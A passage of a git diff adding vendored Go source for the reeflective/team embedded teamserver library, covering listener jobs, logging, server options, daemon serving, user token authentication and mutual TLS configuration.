+ kill: make(chan bool),
+ }
+
+ go func() {
+ <-listener.kill
+
+ // Kills listener goroutines but NOT connections.
+ log.Infof("Stopping teamserver %s listener (%s)", name, listener.ID)
+ ln.Close()
+
+ ts.jobs.active.LoadAndDelete(listener.ID)
+ }()
+
+ ts.jobs.active.Store(listener.ID, listener)
+}
diff --git a/vendor/github.com/reeflective/team/server/log.go b/vendor/github.com/reeflective/team/server/log.go
new file mode 100644
index 0000000000..7b1729c6d1
--- /dev/null
+++ b/vendor/github.com/reeflective/team/server/log.go
@@ -0,0 +1,132 @@
+package server
+
+/*
+ team - Embedded teamserver for Go programs and CLI applications
+ Copyright (C) 2023 Reeflective
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+*/
+
+import (
+ "fmt"
+ "path/filepath"
+
+ "github.com/reeflective/team/internal/log"
+ "github.com/sirupsen/logrus"
+)
+
+// NamedLogger returns a new logging "thread" with two fields (optional)
+// to indicate the package/general domain, and a more precise flow/stream.
+// The events are logged according to the teamclient logging backend setup.
+func (ts *Server) NamedLogger(pkg, stream string) *logrus.Entry {
+ return ts.log().WithFields(logrus.Fields{
+ log.PackageFieldKey: pkg,
+ "stream": stream,
+ })
+}
+
+// SetLogLevel sets the logging level of teamserver loggers (excluding audit ones).
+func (ts *Server) SetLogLevel(level int) {
+ if ts.stdioLog == nil {
+ return
+ }
+
+ if uint32(level) > uint32(logrus.TraceLevel) {
+ level = int(logrus.TraceLevel)
+ }
+
+ ts.stdioLog.SetLevel(logrus.Level(uint32(level)))
+
+ // Also Change the file-based logging level:
+ // - If they app runs a memfs, this wont have any effect.
+ // - If the user wants to debug anyway, better two sources than one.
+ if ts.fileLog != nil {
+ ts.fileLog.SetLevel(logrus.Level(uint32(level)))
+ }
+}
+
+// AuditLogger returns a special logger writing its event entries to an audit
+// log file (default audit.json), distinct from other teamserver log files.
+// Listener implementations will want to use this for logging various teamclient
+// application requests, with this logger used somewhere in your listener middleware.
+func (ts *Server) AuditLogger() (*logrus.Logger, error) {
+ if ts.opts.inMemory || ts.opts.noLogs {
+ return ts.log(), nil
+ }
+
+ // Generate a new audit logger
+ auditLog, err := log.NewAudit(ts.fs, ts.LogsDir())
+ if err != nil {
+ return nil, ts.errorf("%w: %w", ErrLogging, err)
+ }
+
+ return auditLog, nil
+}
+
+// Initialize loggers in files/stdout according to options.
+func (ts *Server) initLogging() (err error) {
+ // If user supplied a logger, use it in place of the
+ // file-based logger, since the file logger is optional.
+ if ts.opts.logger != nil {
+ ts.fileLog = ts.opts.logger
+ return nil
+ }
+
+ logFile := filepath.Join(ts.LogsDir(), log.FileName(ts.Name(), true))
+
+ // If the teamserver should log to a given file.
+ if ts.opts.logFile != "" {
+ logFile = ts.opts.logFile
+ }
+
+ level := logrus.Level(ts.opts.config.Log.Level)
+
+ // Create any additional/configured logger and related/missing hooks.
+ ts.fileLog, ts.stdioLog, err = log.Init(ts.fs, logFile, level)
+ if err != nil {
+ return err
+ }
+
+ return nil
+}
+
+// log returns a non-nil logger for the server:
+// if file logging is disabled, it returns the stdout-only logger,
+// otherwise returns the file logger equipped with a stdout hook.
+func (ts *Server) log() *logrus.Logger {
+ if ts.fileLog == nil {
+ return ts.stdioLog
+ }
+
+ return ts.fileLog
+}
+
+func (ts *Server) errorf(msg string, format ...any) error {
+ logged := fmt.Errorf(msg, format...)
+ ts.log().Error(logged)
+
+ return logged
+}
+
+func (ts *Server) errorWith(log *logrus.Entry, msg string, format ...any) error {
+ logged := fmt.Errorf(msg, format...)
+
+ if log != nil {
+ log.Error(logged)
+ } else {
+ ts.log().Error(logged)
+ }
+
+ return logged
+}
diff --git a/vendor/github.com/reeflective/team/server/options.go b/vendor/github.com/reeflective/team/server/options.go
new file mode 100644
index 0000000000..fe0b1488ad
--- /dev/null
+++ b/vendor/github.com/reeflective/team/server/options.go
@@ -0,0 +1,264 @@
+package server
+
+/*
+ team - Embedded teamserver for Go programs and CLI applications
+ Copyright (C) 2023 Reeflective
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+*/
+
+import (
+ "fmt"
+ "os"
+ "strings"
+
+ "github.com/reeflective/team/internal/assets"
+ "github.com/reeflective/team/internal/db"
+ "github.com/sirupsen/logrus"
+ "gorm.io/gorm"
+)
+
+const noTeamdir = "no team subdirectory"
+
+// Options are server options.
+// With these you can set/reset or modify the behavior of a teamserver
+// at various stages of its lifetime, or when performing some specific
+// actions.
+// Note that some options can only be used once, while others can be
+// used multiple times. Examples of the former are log files and database
+// backends, while the latter includes listeners/hooks.
+// Each option will specify this in its description.
+type Options func(opts *opts)
+
+type opts struct {
+ homeDir string
+ teamDir string
+ logFile string
+ local bool
+ noLogs bool
+ inMemory bool
+ continueOnError bool
+
+ config *Config
+ dbConfig *db.Config
+ db *gorm.DB
+ logger *logrus.Logger
+ listeners []Listener
+}
+
+// default in-memory configuration, ready to run.
+func newDefaultOpts() *opts {
+ options := &opts{
+ config: getDefaultServerConfig(),
+ local: false,
+ }
+
+ return options
+}
+
+func (ts *Server) apply(options ...Options) {
+ for _, optFunc := range options {
+ optFunc(ts.opts)
+ }
+
+ // The server will apply options multiple times
+ // in its lifetime, but some options can only be
+ // set once when created.
+ ts.initOpts.Do(func() {
+ // Application home directory.
+ homeDir := os.Getenv(fmt.Sprintf("%s_ROOT_DIR", strings.ToUpper(ts.name)))
+ if homeDir != "" {
+ ts.homeDir = homeDir
+ } else {
+ ts.homeDir = ts.opts.homeDir
+ }
+
+ // Team directory.
+ if ts.opts.teamDir == noTeamdir {
+ ts.opts.teamDir = ""
+ } else if ts.opts.teamDir == "" {
+ ts.opts.teamDir = assets.DirServer
+ }
+
+ // User-defined database.
+ if ts.opts.db != nil {
+ ts.db = ts.opts.db
+ }
+ })
+
+ // Load any listener backends any number of times.
+ for _, listener := range ts.opts.listeners {
+ ts.handlers[listener.Name()] = listener
+ }
+
+ // Make the first one as the default if needed.
+ if len(ts.opts.listeners) > 0 && ts.self == nil {
+ ts.self = ts.opts.listeners[0]
+ }
+
+ // And clear the most recent listeners passed via options.
+ ts.opts.listeners = make([]Listener, 0)
+}
+
+//
+// *** General options ***
+//
+
+// WithInMemory deactivates all interactions of the client with the filesystem.
+// This applies to logging, but will also to any forward feature using files.
+//
+// Implications on database backends:
+// By default, all teamservers use sqlite3 as a backend, and thus will run a
+// database in memory. All other databases are assumed to be unable to do so,
+// and this option will thus trigger an error whenever the option is applied,
+// whether it be at teamserver creation, or when it does start listeners.
+//
+// This option can only be used once, and must be passed to server.New().
+func WithInMemory() Options {
+ return func(opts *opts) {
+ opts.noLogs = true
+ opts.inMemory = true
+ }
+}
+
+// WithDefaultPort sets the default port on which the teamserver should start listeners.
+// This default is used in the default daemon configuration, and as command flags defaults.
+// The default port set for teamserver applications is port 31416.
+//
+// This option can only be used once, and must be passed to server.New().
+func WithDefaultPort(port uint16) Options {
+ return func(opts *opts) {
+ opts.config.DaemonMode.Port = int(port)
+ }
+}
+
+// WithDatabase sets the server database to an existing database.
+// Note that it will run an automigration of the teamserver types (certificates and users).
+//
+// This option can only be used once, and must be passed to server.New().
+func WithDatabase(db *gorm.DB) Options {
+ return func(opts *opts) {
+ opts.db = db
+ }
+}
+
+// WithDatabaseConfig sets the server to use a database backend with a given configuration.
+//
+// This option can only be used once, and must be passed to server.New().
+func WithDatabaseConfig(config *db.Config) Options {
+ return func(opts *opts) {
+ opts.dbConfig = config
+ }
+}
+
+// WithHomeDirectory sets the default path (~/.app/) of the application directory.
+// This path can still be overridden at the user-level with the env var APP_ROOT_DIR.
+//
+// This option can only be used once, and must be passed to server.New().
+func WithHomeDirectory(path string) Options {
+ return func(opts *opts) {
+ opts.homeDir = path
+ }
+}
+
+// WithTeamDirectory sets the name (not a path) of the teamserver-specific subdirectory.
+// For example, passing "my_server_dir" will make the teamserver use ~/.app/my_server_dir/
+// instead of ~/.app/teamserver/.
+// If this function is called with an empty string, the teamserver will not use any
+// subdirectory for its own outputs, thus using ~/.app as its teamserver directory.
+//
+// This option can only be used once, and must be passed to server.New().
+func WithTeamDirectory(name string) Options {
+ return func(opts *opts) {
+ if name == "" {
+ name = noTeamdir
+ }
+
+ opts.teamDir = name
+ }
+}
+
+//
+// *** Logging options ***
+//
+
+// WithNoLogs deactivates all logging normally done by the teamserver
+// if noLogs is set to true, or keeps/reestablishes them if false.
+//
+// This option can only be used once, and must be passed to server.New().
+func WithNoLogs(noLogs bool) Options {
+ return func(opts *opts) {
+ opts.noLogs = noLogs
+ }
+}
+
+// WithLogFile sets the path to the file where teamserver logging should be done.
+// The default path is ~/.app/teamserver/logs/app.teamserver.log.
+//
+// This option can only be used once, and must be passed to server.New().
+func WithLogFile(filePath string) Options {
+ return func(opts *opts) {
+ opts.logFile = filePath
+ }
+}
+
+// WithLogger sets the teamserver to use a specific logger for
+// all logging, except the audit log which is indenpendent.
+//
+// This option can only be used once, and must be passed to server.New().
+func WithLogger(logger *logrus.Logger) Options {
+ return func(opts *opts) {
+ opts.logger = logger
+ }
+}
+
+//
+// *** Server network/RPC options ***
+//
+
+// WithListener registers a listener/server stack with the teamserver.
+// The teamserver can then serve this listener stack for any number of bind
+// addresses, which users can trigger through the various server.Serve*() methods.
+//
+// It accepts an optional list of pre-serve hook functions:
+// These should accept a generic object parameter which is none other than the
+// serverConn returned by the listener.Serve(ln) method. These hooks will
+// be very useful- if not necessary- for library users to manipulate their server.
+// See the server.Listener type documentation for details.
+//
+// This option can be used multiple times, either when using
+// team/server.New() or with the different server.Serve*() methods.
+func WithListener(ln Listener) Options {
+ return func(opts *opts) {
+ if ln == nil {
+ return
+ }
+
+ opts.listeners = append(opts.listeners, ln)
+ }
+}
+
+// WithContinueOnError sets the server behavior when starting persistent listeners
+// (either automatically when calling teamserver.ServeDaemon(), or when using
+// teamserver.StartPersistentListeners()).
+// If true, an error raised by a listener will not prevent others to try starting, and
+// errors will be joined into a single one, separated with newlines and logged by default.
+// The teamserver has this set to false by default.
+//
+// This option can be used multiple times.
+func WithContinueOnError(continueOnError bool) Options {
+ return func(opts *opts) {
+ opts.continueOnError = continueOnError
+ }
+}
diff --git a/vendor/github.com/reeflective/team/server/server.go b/vendor/github.com/reeflective/team/server/server.go
new file mode 100644
index 0000000000..08e24e4974
--- /dev/null
+++ b/vendor/github.com/reeflective/team/server/server.go
@@ -0,0 +1,269 @@
+package server
+
+/*
+ team - Embedded teamserver for Go programs and CLI applications
+ Copyright (C) 2023 Reeflective
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+*/
+
+import (
+ "fmt"
+ "net"
+ "os"
+ "os/signal"
+ "regexp"
+ "runtime/debug"
+ "syscall"
+
+ "github.com/reeflective/team/client"
+ "github.com/reeflective/team/internal/certs"
+)
+
+// Listener represents a teamserver listener stack.
+// Any type implementing this interface can be served and controlled
+// by a team/server.Server core, and remote clients can connect to it
+// with the appropriate/corresponding team/client.Dialer backend.
+//
+// Errors: all errors returned by the listener interface methods are considered critical,
+// (except the Close() error one), and thus will stop the listener start/server process
+// when raised. Thus, you should only return errors that are critical to the operation
+// of your listener. You can use the teamserver loggers to log/print non-critical ones.
+type Listener interface {
+ // Name returns the name of the "listener/server/RPC" stack
+ // of this listener, eg. "gRPC" for a gRPC listener, "myCustomHTTP"
+ // for your quick-and-dirty custom stack, etc.
+ // Note that this name is used as a key by the teamserver to store the
+ // different listener stacks it may use, so this name should be unique
+ // among all listener stacks registered to a given teamserver runtime.
+ Name() string
+
+ // Init is used by the listener to access the core teamserver, needed for:
+ // - Fetching server-side transport/session-level credentials.
+ // - Authenticating users connections/requests.
+ // - Using the builtin teamserver loggers, filesystem and other utilities.
+ // Any non-nil error returned will abort the listener starting process.
+ Init(s *Server) error
+
+ // Listen is used to create and bind a network listener to some address
+ // Implementations are free to handle incoming connections the way they
+ // want, since they have had access to the server in Init() for anything
+ // related they might need.
+ // As an example, the gRPC default transport serves a gRPC server on this
+ // listener, registers its RPC services, and returns the listener for the
+ // teamserver to wrap it in job control.
+ // This call MUST NOT block, just like the normal usage of net.Listeners.
+ Listen(addr string) (ln net.Listener, err error)
+
+ // Close should close the listener stack.
+ // This can mean different things depending on use case, but some are not recommended.
+ // - It can simply close the "listener" layer without shutting down the "server/RPC" layer.
+ // - It can shutdown anything, thus in effect disconnecting all of its clients from server.
+ Close() error
+}
+
+// Serve attempts the default listener of the teamserver (which is either
+// the first one to have been registered, or the only one registered at all).
+// It the responsibility of any teamclients produced by the teamserver.Self()
+// method to call their Connect() method: the server will answer.
+func (ts *Server) Serve(cli *client.Client, opts ...Options) error {
+ if ts.self == nil {
+ return ErrNoListener
+ }
+
+ // Some errors might come from user-provided hooks,
+ // so we don't wrap errors again, our own errors
+ // have been prepared accordingly in this call.
+ err := ts.serve(ts.self, "", "", 0, opts...)
+ if err != nil {
+ return err
+ }
+
+ // Use a fake config with a non-empty name.
+ cliOpts := []client.Options{
+ client.WithConfig(&client.Config{User: "server"}),
+ }
+
+ return cli.Connect(cliOpts...)
+}
+
+// ServeDaemon is a blocking call which starts the teamserver as daemon process, using
+// either the provided host:port arguments, or the ones found in the teamserver config.
+// This function will also (and is the only one to) start all persistent team listeners.
+//
+// It blocks by waiting for a syscal.SIGTERM (eg. CtrlC on Linux) signal. Upon receival,
+// the teamserver will close the main listener (the daemon one), but not persistent ones.
+//
+// Errors raised by closing the listener are wrapped in an ErrListener, logged and returned.
+func (ts *Server) ServeDaemon(host string, port uint16, opts ...Options) (err error) {
+ log := ts.NamedLogger("daemon", "main")
+
+ // cli args take president over config
+ if host == blankHost {
+ host = ts.opts.config.DaemonMode.Host
+ log.Debugf("No host specified, using config file default: %s", host)
+ }
+
+ if port == blankPort {
+ port = uint16(ts.opts.config.DaemonMode.Port)
+ log.Debugf("No port specified, using config file default: %d", port)
+ }
+
+ defer func() {
+ if r := recover(); r != nil {
+ log.Errorf("panic:\n%s", debug.Stack())
+ }
+ }()
+
+ // Start the listener.
+ log.Infof("Starting %s teamserver daemon on %s:%d ...", ts.Name(), host, port)
+
+ listenerID, err := ts.ServeAddr(ts.self.Name(), host, port, opts...)
+ if err != nil {
+ return err
+ }
+
+ // Now that the main teamserver listener is started,
+ // we can start all our persistent teamserver listeners.
+ // That way, if any of them collides with our current bind,
+ // we just serve it for him
+ hostPort := regexp.MustCompile(fmt.Sprintf("%s:%d", host, port))
+
+ err = ts.ListenerStartPersistents()
+ if err != nil && hostPort.MatchString(err.Error()) {
+ log.Errorf("Error starting persistent listeners: %s\n", err)
+ }
+
+ done := make(chan bool)
+ signals := make(chan os.Signal, 1)
+ signal.Notify(signals, syscall.SIGTERM)
+
+ go func() {
+ <-signals
+ log.Infof("Received SIGTERM, exiting ...")
+
+ err = ts.ListenerClose(listenerID)
+ if err != nil {
+ log.Errorf("%s: %s", ErrListener, err)
+ }
+ done <- true
+ }()
+ <-done
+
+ return err
+}
+
+// ServeAddr attempts to serve a listener stack identified by "name" (the listener should be registered
+// with the teamserver with WithListener() option), on a given host:port address, with any provided option.
+// If returns either a critical error raised by the listener, or the ID of the listener job, for control.
+// The call is non-blocking, contrarily to the server.ServeDaemon() method.
+func (ts *Server) ServeAddr(name string, host string, port uint16, opts ...Options) (id string, err error) {
+ // If server was not initialized yet, do it.
+ // This at least will update any listener/server-specific options.
+ err = ts.init(opts...)
+ if err != nil {
+ return "", ts.errorf("%w: %w", ErrTeamServer, err)
+ }
+
+ // Ensure we have at least one available listener.
+ handler := ts.handlers[name]
+
+ if handler == nil {
+ handler = ts.self
+ }
+
+ if handler == nil {
+ return "", ErrNoListener
+ }
+
+ // Generate the listener ID now so we can return it.
+ listenerID := getRandomID()
+
+ err = ts.serve(handler, listenerID, host, port, opts...)
+
+ return listenerID, err
+}
+
+// serve will attempt to serve a given listener/server stack to a given (host:port) address.
+// If the ID parameter is empty, a job ID for this listener will be automatically generated.
+// Any errors raised by the listener itself are considered critical and returned wrapped in a ListenerErr.
+func (ts *Server) serve(ln Listener, ID, host string, port uint16, opts ...Options) error {
+ log := ts.NamedLogger("teamserver", "handler")
+
+ // If server was not initialized yet, do it.
+ // This has no effect redundant with the ServeAddr() method.
+ err := ts.init(opts...)
+ if err != nil {
+ return ts.errorf("%w: %w", ErrTeamServer, err)
+ }
+
+ // Let the handler initialize itself: load everything it needs from
+ // the server, configuration, fetch certificates, log stuff, etc.
+ err = ln.Init(ts)
+ if err != nil {
+ return ts.errorWith(log, "%w: %w", ErrListener, err)
+ }
+
+ // Now let the handler start listening on somewhere.
+ laddr := fmt.Sprintf("%s:%d", host, port)
+
+ // This call should not block, serve the listener immediately.
+ listener, err := ln.Listen(laddr)
+ if err != nil {
+ return ts.errorWith(log, "%w: %w", ErrListener, err)
+ }
+
+ // The server is running, so add a job anyway.
+ ts.addListenerJob(ID, ln.Name(), host, int(port), listener)
+
+ return nil
+}
+
+// Handlers returns a copy of its teamserver listeners map.
+// This can be useful if you want to start them with the server ServeListener() method.
+// Or -but this is not recommended by this library- to use those listeners without the
+// teamserver driving the init/start/serve/stop process.
+func (ts *Server) Handlers() map[string]Listener {
+ handlers := make(map[string]Listener, len(ts.handlers))
+
+ for name, handler := range ts.handlers {
+ handlers[name] = handler
+ }
+
+ return handlers
+}
+
+func (ts *Server) init(opts ...Options) error {
+ var err error
+
+ // Always reaply options, since it could be used by different listeners.
+ ts.apply(opts...)
+
+ ts.initServe.Do(func() {
+ // Database configuration.
+ if err = ts.initDatabase(); err != nil {
+ return
+ }
+
+ // Load any relevant server configuration: on disk,
+ // contained in options, or the default one.
+ ts.opts.config = ts.GetConfig()
+
+ // Certificate infrastructure, will make the code panic if unable to work properly.
+ certsLog := ts.NamedLogger("certs", "certificates")
+ ts.certs = certs.NewManager(ts.fs, ts.dbSession(), certsLog, ts.Name(), ts.TeamDir())
+ })
+
+ return err
+}
diff --git a/vendor/github.com/reeflective/team/server/users.go b/vendor/github.com/reeflective/team/server/users.go
new file mode 100644
index 0000000000..d94ac9d0f6
--- /dev/null
+++ b/vendor/github.com/reeflective/team/server/users.go
@@ -0,0 +1,335 @@
+package server
+
+/*
+ team - Embedded teamserver for Go programs and CLI applications
+ Copyright (C) 2023 Reeflective
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program. If not, see .
+*/
+
+import (
+ "crypto/rand"
+ "crypto/sha256"
+ "crypto/tls"
+ "crypto/x509"
+ "encoding/hex"
+ "errors"
+ "fmt"
+ "regexp"
+ "sync"
+ "time"
+
+ "github.com/reeflective/team/client"
+ "github.com/reeflective/team/internal/certs"
+ "github.com/reeflective/team/internal/db"
+)
+
+var namePattern = regexp.MustCompile("^[a-zA-Z0-9_-]*$") // Only allow alphanumeric chars
+
+// UserCreate creates a new teamserver user, with all cryptographic material and server remote
+// endpoints needed by this user to connect to us.
+//
+// Certificate files and the API authentication token are saved into the teamserver database,
+// conformingly to its configured backend/filesystem (can be in-memory or on filesystem).
+func (ts *Server) UserCreate(name string, lhost string, lport uint16) (*client.Config, error) {
+ if err := ts.initDatabase(); err != nil {
+ return nil, ts.errorf("%w: %w", ErrDatabase, err)
+ }
+
+ if !namePattern.MatchString(name) {
+ return nil, ts.errorf("%w: invalid user name (alphanumerics only)", ErrUserConfig)
+ }
+
+ if name == "" {
+ return nil, ts.errorf("%w: user name required ", ErrUserConfig)
+ }
+
+ if lhost == "" {
+ return nil, ts.errorf("%w: invalid team server host (empty)", ErrUserConfig)
+ }
+
+ if lport == blankPort {
+ lport = uint16(ts.opts.config.DaemonMode.Port)
+ }
+
+ rawToken, err := ts.newUserToken()
+ if err != nil {
+ return nil, ts.errorf("%w: %w", ErrUserConfig, err)
+ }
+
+ digest := sha256.Sum256([]byte(rawToken))
+ dbuser := &db.User{
+ Name: name,
+ Token: hex.EncodeToString(digest[:]),
+ }
+
+ err = ts.dbSession().Save(dbuser).Error
+ if err != nil {
+ return nil, ts.errorf("%w: %w", ErrDatabase, err)
+ }
+
+ publicKey, privateKey, err := ts.certs.UserClientGenerateCertificate(name)
+ if err != nil {
+ return nil, ts.errorf("%w: failed to generate certificate %w", ErrCertificate, err)
+ }
+
+ caCertPEM, _, _ := ts.certs.GetUsersCAPEM()
+ config := client.Config{
+ User: name,
+ Token: rawToken,
+ Host: lhost,
+ Port: int(lport),
+ CACertificate: string(caCertPEM),
+ PrivateKey: string(privateKey),
+ Certificate: string(publicKey),
+ }
+
+ return &config, nil
+}
+
+// UserDelete deletes a user and its cryptographic materials from
+// the teamserver database, clearing the API auth tokens cache.
+//
+// WARN: This function has two very precise effects/consequences:
+// 1. The server-side Mutual TLS configuration obtained with server.GetUserTLSConfig()
+// will refuse all connections using the deleted user TLS credentials, returning
+// an authentication failure.
+// 2. The server.AuthenticateUser(token) method will always return an ErrUnauthenticated
+// error from the call, because the delete user is not in the database anymore.
+//
+// Thus, it is up to the users of this library to use the builting teamserver TLS
+// configurations in their teamserver listener / teamclient dialer implementations.
+//
+// Certificate files, API authentication token are deleted from the teamserver database,
+// conformingly to its configured backend/filesystem (can be in-memory or on filesystem).
+func (ts *Server) UserDelete(name string) error {
+ if err := ts.initDatabase(); err != nil {
+ return ts.errorf("%w: %w", ErrDatabase, err)
+ }
+
+ err := ts.dbSession().Where(&db.User{
+ Name: name,
+ }).Delete(&db.User{}).Error
+ if err != nil {
+ return err
+ }
+
+ // Clear the token cache so that all requests from
+ // connected clients of this user are now refused.
+ ts.userTokens = &sync.Map{}
+
+ return ts.certs.UserClientRemoveCertificate(name)
+}
+
+// UserAuthenticate accepts a raw 128-bits long API Authentication token belonging to the
+// user of a connected/connecting teamclient. The token is hashed and checked against the
+// teamserver users database for the matching user.
+// This function shall alternatively return:
+// - The name of the authenticated user, true for authenticated and no error.
+// - No name, false for authenticated, and an ErrUnauthenticated error.
+// - No name, false for authenticated, and a database error, if was ignited now.
+//
+// This call updates the last time the user has been seen by the server.
+func (ts *Server) UserAuthenticate(rawToken string) (name string, authorized bool, err error) {
+ if err := ts.initDatabase(); err != nil {
+ return "", false, ts.errorf("%w: %w", ErrDatabase, err)
+ }
+
+ log := ts.NamedLogger("server", "auth")
+ log.Debugf("Authorization-checking user token ...")
+
+ // Check auth cache
+ digest := sha256.Sum256([]byte(rawToken))
+ token := hex.EncodeToString(digest[:])
+
+ if name, ok := ts.userTokens.Load(token); ok {
+ log.Debugf("Token in cache!")
+ ts.updateLastSeen(name.(string))
+ return name.(string), true, nil
+ }
+
+ user, err := ts.userByToken(token)
+ if err != nil || user == nil {
+ return "", false, ts.errorf("%w: %w", ErrUnauthenticated, err)
+ }
+
+ ts.updateLastSeen(user.Name)
+
+ log.Debugf("Valid user token for %s", user.Name)
+ ts.userTokens.Store(token, user.Name)
+
+ return user.Name, true, nil
+}
+
+// UsersTLSConfig returns a server-side Mutual TLS configuration struct, ready to run.
+// The configuration performs all and every verifications that the teamserver should do,
+// and peer TLS clients (teamclient.Config) are not allowed to choose any TLS parameters.
+//
+// This should be used by team/server.Listeners at the net.Listener/net.Conn level.
+// As for all errors of the teamserver API, any error returned here is defered-logged.
+func (ts *Server) UsersTLSConfig() (*tls.Config, error) {
+ log := ts.NamedLogger("certs", "mtls")
+
+ if err := ts.initDatabase(); err != nil {
+ return nil, ts.errorf("%w: %w", ErrDatabase, err)
+ }
+
+ caCertPtr, _, err := ts.certs.GetUsersCA()
+ if err != nil {
+ return nil, ts.errorWith(log, "%w: failed to get users certificate authority: %w", ErrCertificate, err)
+ }
+
+ caCertPool := x509.NewCertPool()
+ caCertPool.AddCert(caCertPtr)
+
+ _, _, err = ts.certs.UserServerGetCertificate()
+ if errors.Is(err, certs.ErrCertDoesNotExist) {
+ if _, _, err := ts.certs.UserServerGenerateCertificate(); err != nil {
+ return nil, ts.errorWith(log, err.Error())
+ }
+ }
+
+ certPEM, keyPEM, err := ts.certs.UserServerGetCertificate()
+ if err != nil {
+ return nil, ts.errorWith(log, "%w: failed to generated or fetch user certificate: %w", ErrCertificate, err)
+ }
+
+ cert, err := tls.X509KeyPair(certPEM, keyPEM)
+ if err != nil {
+ return nil, ts.errorWith(log, "%w: failed to load server certificate: %w", ErrCertificate, err)
+ }
+
+ tlsConfig := &tls.Config{
+ RootCAs: caCertPool,
+ ClientAuth: tls.RequireAndVerifyClientCert,
+ ClientCAs: caCertPool,
+ Certificates: []tls.Certificate{cert},
+ MinVersion: tls.VersionTLS13,
+ }
+
+ if keyLogger := ts.certs.OpenTLSKeyLogFile(); keyLogger != nil {
+ tlsConfig.KeyLogWriter = ts.certs.OpenTLSKeyLogFile()
+ }
+
+ return tlsConfig, nil
+}
+
+// UsersGetCA returns the bytes of a PEM-encoded certificate authority,
+// which contains certificates of all users of this teamserver.
+func (ts *Server) UsersGetCA() ([]byte, []byte, error) {
+ if err := ts.initDatabase(); err != nil {
+ return nil, nil, ts.errorf("%w: %w", ErrDatabase, err)
+ }
+
+ return ts.certs.GetUsersCAPEM()
+}
+
+// UsersSaveCA accepts the public and private parts of a Certificate
+// Authority containing one or more users to add to the teamserver.
+func (ts *Server) UsersSaveCA(cert, key []byte) {
+ if err := ts.initDatabase(); err != nil {
+ return
+ }
+
+ ts.certs.SaveUsersCA(cert, key)
+}
+
+// newUserToken - Generate a new user authentication token.
+func (ts *Server) newUserToken() (string, error) {
+ buf := make([]byte, tokenLength)
+
+ n, err := rand.Read(buf)
+ if err != nil || n != len(buf) {
+ return "", fmt.Errorf("%w: %w", ErrSecureRandFailed, err)
+ } else if n != len(buf) {
+ return "", ErrSecureRandFailed
+ }
+
+ return hex.EncodeToString(buf), nil
+}
+
+// userByToken - Select a teamserver user by token value.
+func (ts *Server) userByToken(value string) (*db.User, error) {
+ if len(value) < 1 {
+ return nil, db.ErrRecordNotFound
+ }
+
+ user := &db.User{}
+ err := ts.dbSession().Where(&db.User{
+ Token: value,
+ }).First(user).Error
+
+ return user, err
+}
+
+func (ts *Server) updateLastSeen(name string) {
+ lastSeen := time.Now().Round(1 * time.Second)
+ ts.dbSession().Model(&db.User{}).Where("name", name).Update("LastSeen", lastSeen)
+}
+
+// func TestRootOnlyVerifyCertificate(t *testing.T) {
+// certs.SetupCAs()
+//
+// data, err := NewOperatorConfig("zerocool", "localhost", uint16(1337))
+// if err != nil {
+// t.Fatalf("failed to generate test player profile %s", err)
+// }
+// config := &ClientConfig{}
+// err = json.Unmarshal(data, config)
+// if err != nil {
+// t.Fatalf("failed to parse client config %s", err)
+// }
+//
+// _, _, err = certs.OperatorServerGetCertificate("localhost")
+// if err == certs.ErrCertDoesNotExist {
+// certs.OperatorServerGenerateCertificate("localhost")
+// }
+//
+// // Test with a valid certificate
+// certPEM, _, _ := certs.OperatorServerGetCertificate("localhost")
+// block, _ := pem.Decode(certPEM)
+// err = clienttransport.RootOnlyVerifyCertificate(config.CACertificate, [][]byte{block.Bytes})
+// if err != nil {
+// t.Fatalf("root only verify certificate error: %s", err)
+// }
+//
+// // Test with wrong CA
+// wrongCert, _ := certs.GenerateECCCertificate(certs.HTTPSCA, "foobar", false, false)
+// block, _ = pem.Decode(wrongCert)
+// err = clienttransport.RootOnlyVerifyCertificate(config.CACertificate, [][]byte{block.Bytes})
+// if err == nil {
+// t.Fatal("root only verify cert verified a certificate with invalid ca!")
+// }
+//
+// }
+
+// func TestOperatorGenerateCertificate(t *testing.T) {
+// GenerateCertificateAuthority(OperatorCA, "")
+// cert1, key1, err := OperatorClientGenerateCertificate("test3")
+// if err != nil {
+// t.Errorf("Failed to store ecc certificate %v", err)
+// return
+// }
+//
+// cert2, key2, err := OperatorClientGetCertificate("test3")
+// if err != nil {
+// t.Errorf("Failed to get ecc certificate %v", err)
+// return
+// }
+//
+// if !bytes.Equal(cert1, cert2) || !bytes.Equal(key1, key2) {
+// t.Errorf("Stored ecc cert/key does match generated cert/key: %v != %v", cert1, cert2)
+// return
+// }
+// }
diff --git a/vendor/github.com/reeflective/team/teamclient.go b/vendor/github.com/reeflective/team/teamclient.go
new file mode 100644
index 0000000000..07fdefd54a
--- /dev/null
+++ b/vendor/github.com/reeflective/team/teamclient.go
@@ -0,0 +1,70 @@
+package team
+
+/*
+ team - Embedded teamserver for Go programs and CLI applications
+ Copyright (C) 2023 Reeflective
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation, either version 3 of the License, or
+ (at your option) any later version.
+
